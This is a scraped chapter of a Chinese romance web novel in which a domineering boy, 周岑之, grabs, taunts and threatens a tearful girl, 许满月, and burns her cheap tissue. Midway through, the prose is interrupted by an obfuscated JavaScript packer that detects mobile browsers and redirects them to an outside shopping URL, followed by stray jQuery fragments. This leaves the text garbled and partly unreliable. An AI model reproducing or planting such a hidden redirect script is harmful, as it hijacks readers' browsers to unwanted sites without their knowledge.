许满月拼命的挣扎着,却被周岑之的手按着动弹不了。
“周岑之……你放开我……”她喉咙里发出近乎呜咽的声音来。
她说不出话来,他的手将她的下巴紧紧捏住。
好痛啊。
可是他为什么还不放开她,她抿了抿唇,心里越发的委屈起来。
下一秒她的眼泪从眼眶落下,落在了他的手背上。
周岑之感觉到一股温烫的水润落在他的手背上,他皱了皱眉看向她。
是她的眼泪。
他啧了一声松开手,冷眼看她:“这么喜欢哭?”
许满月眼前一片雾蒙蒙的,她眨了眨眼睛,眼泪落下很快就又清晰起来。
她揉了揉下巴,好痛。
罪魁祸首还一脸嫌弃她麻烦的表情看她,她没忍住朝他哽咽道:“周岑之,你太过分了,我好讨厌你。”
周岑之挑了挑眉,无所谓的耸了耸肩:“随便你,反正讨厌我的人不止你一个。”
“麻烦精,爱哭鬼。”
“你才是麻烦精,爱哭鬼!”她揉了揉眼睛反驳着。
其实许满月并不太会骂人,只是会被别人说她的话再还给别人,只是明明是周岑之把她捏痛了,还说她是麻烦精。
男生看着她眼眶红红的,像个兔子一样张牙舞爪着对他来说不够锋利的爪牙。
真让人想笑。
又让人觉得可怜巴巴的,很像黑球。
周岑之想。
看着她哭的模样,周岑之的心底突然有些烦躁起来。
面前的女生哭起来也是没有声音的,只是紧咬着唇,眼眶红红的,不停的有眼泪落下来。
啧,连哭都不会哭。
他想起来自己身边的女孩,哭起来的时候都是声音比眼泪还要大的。
像她这样哭的只有她一个。
真是个爱哭鬼,麻烦精。
他摸了摸口袋,里面只有一包烟,一个打火机,还有一颗菠萝味的口香糖,并没有找到纸巾。
周岑之啧了一声,掏出唯一一颗菠萝味的糖来扔给她:“没带纸。”
许满月咬着唇,看着怀里的那一颗菠萝味的口香糖,包装很是精致,只是他口中的没带纸却给了她一颗糖是什么意思?
“你……”她动了动唇,说出口的却是带着浓浓哽咽的鼻音。
周岑之轻飘飘的睨了她一眼,“哭的老子心烦,懂?”
她垂眸将那一颗菠萝味的糖握在手心,轻声道谢:“谢谢你……周岑之。”
虽然这颗糖也许是他平常抽烟之后会吃的,所以才会随身携带。
但是她却知道他大概可能是在哄她,让她不要哭了。
又没有带纸巾,所以才会递给她一颗糖。
周岑之漫不经心的勾唇,舌头顶了顶上颚:“谢老子什么,你忘了是怎么哭的了。”
他就这样恶劣又轻飘飘的说着,又好像在调侃着。
毕竟在周岑之看来她哭完全是因为他。
许满月咬这唇,没说话。
将他给的那颗糖放在口袋里,在口袋里摸到了一张特别粗糙的熟悉的手感。
是张鹏还在的时候买的那种老式的卫生纸。
她有一个习惯就是随身带着卫生纸,哪怕这种纸在其他人看来有些拿不出手。
她偷偷看了一眼男生,发现他正低头玩着手机,目光并没有注意到她这边。
于是许满月偷偷摸摸的在口袋里摸摸索索着,背对着他将那张大的皱皱巴巴的老式纸巾拿出来。
准备擦眼泪的时候,身侧蓦然传来男生不耐烦又散漫的嗓音来:“许满月,你他妈像个老鼠一样在摸摸索索什么?”
她下意识的伸出手将纸巾揣成一团放在身后:“没……没干嘛。”
周岑之居高临下的盯着她:“藏什么,拿出来。”
许满月攥紧了手里的东西,支支吾吾的回:“没……没什么东西。”
男生又啧了一声,拿出打火机来把玩着,打火机发出“咔哒——咔哒”的声响来,发出明亮滚烫的火焰:“你如果不想你的东西化作灰烬的话。”
他手里拿着她刚才从房子里拿走的东西,也不知道他什么时候拿走的。
可是那些东西本来就是准备做给他的手工礼物啊……
她抬眼看着他,男生的眼神冷冷的,见她看来染上一抹玩味的笑:“想明白了?”
许满月拼命咬着唇,不让自己哭出来,赌气般的将手里的卫生纸扔在他面前的地上:“我都说了没什么。”
随着女孩话音落下的是一张大的有些泛黄的老式卫生纸,还有她的眼泪也争先恐后的落了地。
她的眼前一片模糊,她低着头肩膀一颤一颤的,眼泪不争气的落了地,与之落下还有她那可怜的自尊心。
明明前几年用这种老式卫生纸也挺好,可是为什么害怕被他看见,害怕他会露出异样的眼光,害怕他会更加的觉得自己没出息。
周岑之:“……”
半响之后他漫不经心的开口:“不就用个破烂纸,哭什么哭,再哭小心老子把你破烂纸烧了。”
许满月抿了抿唇,心底越发的委屈,她根本不是因为用这个他所谓的“破烂纸”而哭的。
而是因为她害怕被他知道,结果他不仅知道了还说她用的是破烂纸,还凶她威胁她再哭就把她的破烂纸给烧了……
她看了一眼他,发现男生手里正拿着刚才她扔在地上的纸巾来,另一手仍然漫不经心的把玩着打火机,仿佛下一秒就会被这张纸给烧了。
“你……不准烧!”她抿着唇,伸出手来想抢他手上的纸。
结果周岑之将胳膊抻直,她就拿不到了,就算她努力踮起脚尖也够不到。
其实许满月的身高在女生之中算挺高的了,净身高168,可是在身高189的周岑之面前还是不够看。
周岑之刚接触到这张卫生纸时,皱了皱眉,这什么破烂货,摸上去粗糙的要命。
再看了一眼正着急要拿回去纸巾的女孩,他没忍住啧了一声:“你之前天天就用这破烂货?”
“给黑球用我都嫌弃。”
周岑之说这话的时候理所当然,好像像这种纸出现在他面前是污了他的眼睛。
许满月低下头,脸涨的通红。
那用这种纸的人是不是也不应该出现在他的面前?
可是在她记忆中的十几年,她家就一直用的这种纸。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481550|201771||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“咔哒——”一声,只听见打火机的声音响起,很快的她就闻到一股纸巾被烧的味道。
她一怔,朝他看去。
男生嫌弃的捏住纸巾的一个角放在打火机下,“咔哒——”一声纸巾被烧着,他松开手。
纸巾被火焰吞噬,很快就剩下一地黑色的灰烬。
空气之中满是纸巾燃烧的气味,不算好闻,许满月愣愣的看着他。
他就这样烧了她的纸巾,可能对于她来说不是一张纸巾那样的简单。
不争气的眼泪又汹涌而来,袭卷了眼眶。
她努力不让眼泪落下来,许满月你怎么这样的不争气,不能在他面前哭。
会让他笑话的,毕竟周岑之就是个混世大魔王。
许满月咬着唇,在上衣的口袋里又摸到了一张纸巾,于是她拿了出来,撕成两半,准备擦眼泪的时候纸巾又被他夺走了。
周岑之一脸无语的看着她,“许满月你是收破烂的?别人是百宝箱,你他妈是垃圾箱。”
“我……”许满月吸了吸鼻子,有些无措的看着他。
他怎么又把她的纸巾给夺走了啊,她想擤鼻涕……
“周岑之,我想擤鼻涕。”她声音还带着哽咽,眼眶红红的小心翼翼的朝他看来。
他看着面前的女孩小心翼翼的模样,啧了一声:“他妈的,许满月你是老天派籁折磨老子的吧。”
“去那里买纸,你这破烂纸别用了。”周岑之注意到不远处有一个便利店。
许满月顺着他的目光看去,落在一个便利店上,只是瞬间就摇了摇头:“不要,那里很贵的……”
闻言,周岑之不耐烦的说:“对老子来说就没有贵这一说。”
她低着头,手指掐在掌心,有一点痛但是更多的却是鼻间的酸涩感。
周岑之说对他没有贵的东西,可是对她来说却不是的。
明明她用自己身上的纸巾也可以,但他偏偏不让,一张被他烧了,另外一张的结局在垃圾桶。
“你……车上有吗。”她犹豫了一会小声开口问道。
他挑了挑眉,漫不经心的回:“怎么又惦记上老子车里的东西了?有也不给你用。”
“去便利店。不要让老子重复第二遍。”
许满月低着头哦了一声,跟着他的脚步亦步亦趋的走去了便利店。
这个便利店她没有去过,不过听周围的邻居说过里面的东西很贵,比张婶那里要贵上一两倍。
张鹏租的这个房子虽然在小巷子里,但也是在寸土寸金的A市,租房的合同好像在明年一月份才到期。
便利店是连锁品牌,他们刚一走到门口,大门就自动感应打开:“您好,欢迎光临……”
周岑之在前面走着,突然他停下脚步,身后的许满月差点撞到他的背:“你……”
男生懒洋洋的回头睨了她一眼,“别把鼻涕蹭老子衣服上了,去看有什么想要的。”
她有些惶恐的摇摇头,小心翼翼的看着他的脸色开口:“我就拿一包卫生纸就行……”
然后说完她就发现周岑之的脸色更加难看了。
周岑之懒的理她,冷笑着靠近她:“许满月,你他妈是不是听不懂人话。”